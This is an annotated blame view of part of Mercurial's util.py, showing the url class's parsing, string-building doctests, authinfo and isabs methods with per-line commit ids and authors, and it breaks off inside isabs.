924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2626
        # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2627
        # normal URLS
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2628
        if path.startswith('bundle:'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2629
            self.scheme = 'bundle'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2630
            path = path[7:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2631
            if path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2632
                path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2633
            self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2634
            return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2635
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2636
        if self._matchscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2637
            parts = path.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2638
            if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2639
                self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2640
                self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2641
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2642
        if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2643
            path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2644
            if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2645
                self.path = ''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2646
                return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2647
        else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2648
            if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2649
                self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2650
                return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2651
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2652
            if parsequery and '?' in path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2653
                path, self.query = path.split('?', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2654
                if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2655
                    path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2656
                if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2657
                    self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2658
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2659
            # // is required to specify a host/authority
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2660
            if path and path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2661
                parts = path[2:].split('/', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2662
                if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2663
                    self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2664
                else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2665
                    self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2666
                    path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2667
                if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2668
                    self.host = None
15018
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
  2669
                    # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
  2670
                    # path of file:///d:/ is d:/, not /d:/
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
  2671
                    if path and not hasdriveletter(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2672
                        path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2673
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2674
            if self.host and '@' in self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2675
                self.user, self.host = self.host.rsplit('@', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2676
                if ':' in self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2677
                    self.user, self.passwd = self.user.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2678
                if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2679
                    self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2680
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2681
            # Don't split on colons in IPv6 addresses without ports
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2682
            if (self.host and ':' in self.host and
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2683
                not (self.host.startswith('[') and self.host.endswith(']'))):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2684
                self._hostport = self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2685
                self.host, self.port = self.host.rsplit(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2686
                if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2687
                    self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2688
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2689
            if (self.host and self.scheme == 'file' and
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2690
                self.host not in ('localhost', '127.0.0.1', '[::1]')):
37099
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37098
diff changeset
  2691
                raise error.Abort(_('file:// URLs can only refer to localhost'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2692
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2693
        self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2694
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2695
        # leave the query string escaped
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2696
        for a in ('user', 'passwd', 'host', 'port',
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2697
                  'path', 'fragment'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2698
            v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2699
            if v is not None:
31573
4ebecf331d7d util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31547
diff changeset
  2700
                setattr(self, a, urlreq.unquote(v))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2701
34089
30535fe47e78 py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents: 34069
diff changeset
  2702
    @encoding.strmethod
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2703
    def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2704
        attrs = []
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2705
        for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2706
                  'query', 'fragment'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2707
            v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2708
            if v is not None:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2709
                attrs.append('%s: %r' % (a, v))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2710
        return '<url %s>' % ', '.join(attrs)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2711
33038
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32904
diff changeset
  2712
    def __bytes__(self):
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
  2713
        r"""Join the URL's components back into a URL string.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2714
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2715
        Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2716
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2717
        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452
de7e2fba4326 util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents: 15392
diff changeset
  2718
        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2719
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2720
        'http://user:pw@host:80/?foo=bar&baz=42'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2721
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2722
        'http://user:pw@host:80/?foo=bar%3dbaz'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2723
        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2724
        'ssh://user:pw@[::1]:2200//home/joe#'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2725
        >>> bytes(url(b'http://localhost:80//'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2726
        'http://localhost:80//'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2727
        >>> bytes(url(b'http://localhost:80/'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2728
        'http://localhost:80/'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2729
        >>> bytes(url(b'http://localhost:80'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2730
        'http://localhost:80/'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2731
        >>> bytes(url(b'bundle:foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2732
        'bundle:foo'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2733
        >>> bytes(url(b'bundle://../foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2734
        'bundle:../foo'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2735
        >>> bytes(url(b'path'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2736
        'path'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2737
        >>> bytes(url(b'file:///tmp/foo/bar'))
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
  2738
        'file:///tmp/foo/bar'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
  2739
        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611
ec8a49c46d7e merge with stable
Matt Mackall <mpm@selenic.com>
parents: 15513 15609
diff changeset
  2740
        'file:///c:/tmp/foo/bar'
34152
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34149
diff changeset
  2741
        >>> print(url(br'bundle:foo\bar'))
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
  2742
        bundle:foo\bar
34152
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34149
diff changeset
  2743
        >>> print(url(br'file:///D:\data\hg'))
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
  2744
        file:///D:\data\hg
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2745
        """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2746
        if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2747
            s = self.path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2748
            if self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2749
                s = 'bundle:' + s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2750
            if self.fragment:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2751
                s += '#' + self.fragment
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2752
            return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2753
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2754
        s = self.scheme + ':'
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
  2755
        if self.user or self.passwd or self.host:
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
  2756
            s += '//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  2757
        elif self.scheme and (not self.path or self.path.startswith('/')
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  2758
                              or hasdriveletter(self.path)):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2759
            s += '//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  2760
            if hasdriveletter(self.path):
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  2761
                s += '/'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2762
        if self.user:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  2763
            s += urlreq.quote(self.user, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2764
        if self.passwd:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  2765
            s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2766
        if self.user or self.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2767
            s += '@'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2768
        if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2769
            if not (self.host.startswith('[') and self.host.endswith(']')):
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  2770
                s += urlreq.quote(self.host)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2771
            else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2772
                s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2773
        if self.port:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  2774
            s += ':' + urlreq.quote(self.port)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2775
        if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2776
            s += '/'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2777
        if self.path:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2778
            # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2779
            # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2780
            # which we should *not* escape.
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  2781
            s += urlreq.quote(self.path, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2782
        if self.query:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2783
            # we store the query in escaped form.
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  2784
            s += '?' + self.query
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2785
        if self.fragment is not None:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  2786
            s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2787
        return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2788
33038
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32904
diff changeset
  2789
    __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32904
diff changeset
  2790
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2791
    def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2792
        user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2793
        try:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2794
            self.user, self.passwd = None, None
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
  2795
            s = bytes(self)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2796
        finally:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2797
            self.user, self.passwd = user, passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2798
        if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2799
            return (s, None)
15028
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
  2800
        # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
  2801
        # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
  2802
        # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
  2803
        # a password.
15024
0f1311e829c9 http: strip credentials from urllib2 manager URIs (issue2885)
Patrick Mezard <pmezard@gmail.com>
parents: 15018
diff changeset
  2804
        return (s, (None, (s, self.host),
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2805
                    self.user, self.passwd or ''))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2806
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2807
    def isabs(self):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2808
        if self.scheme and self.scheme != 'file':
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2809
            return True # remote URL
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2810
        if hasdriveletter(self.path):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2811
            return True # absolute for our purposes - can't be joined()
33108
d9962854a4a2 py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 33106
diff changeset
  2812
        if self.path.startswith(br'\\'):
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2813
            return True # Windows UNC path
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2814
        if self.path.startswith('/'):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
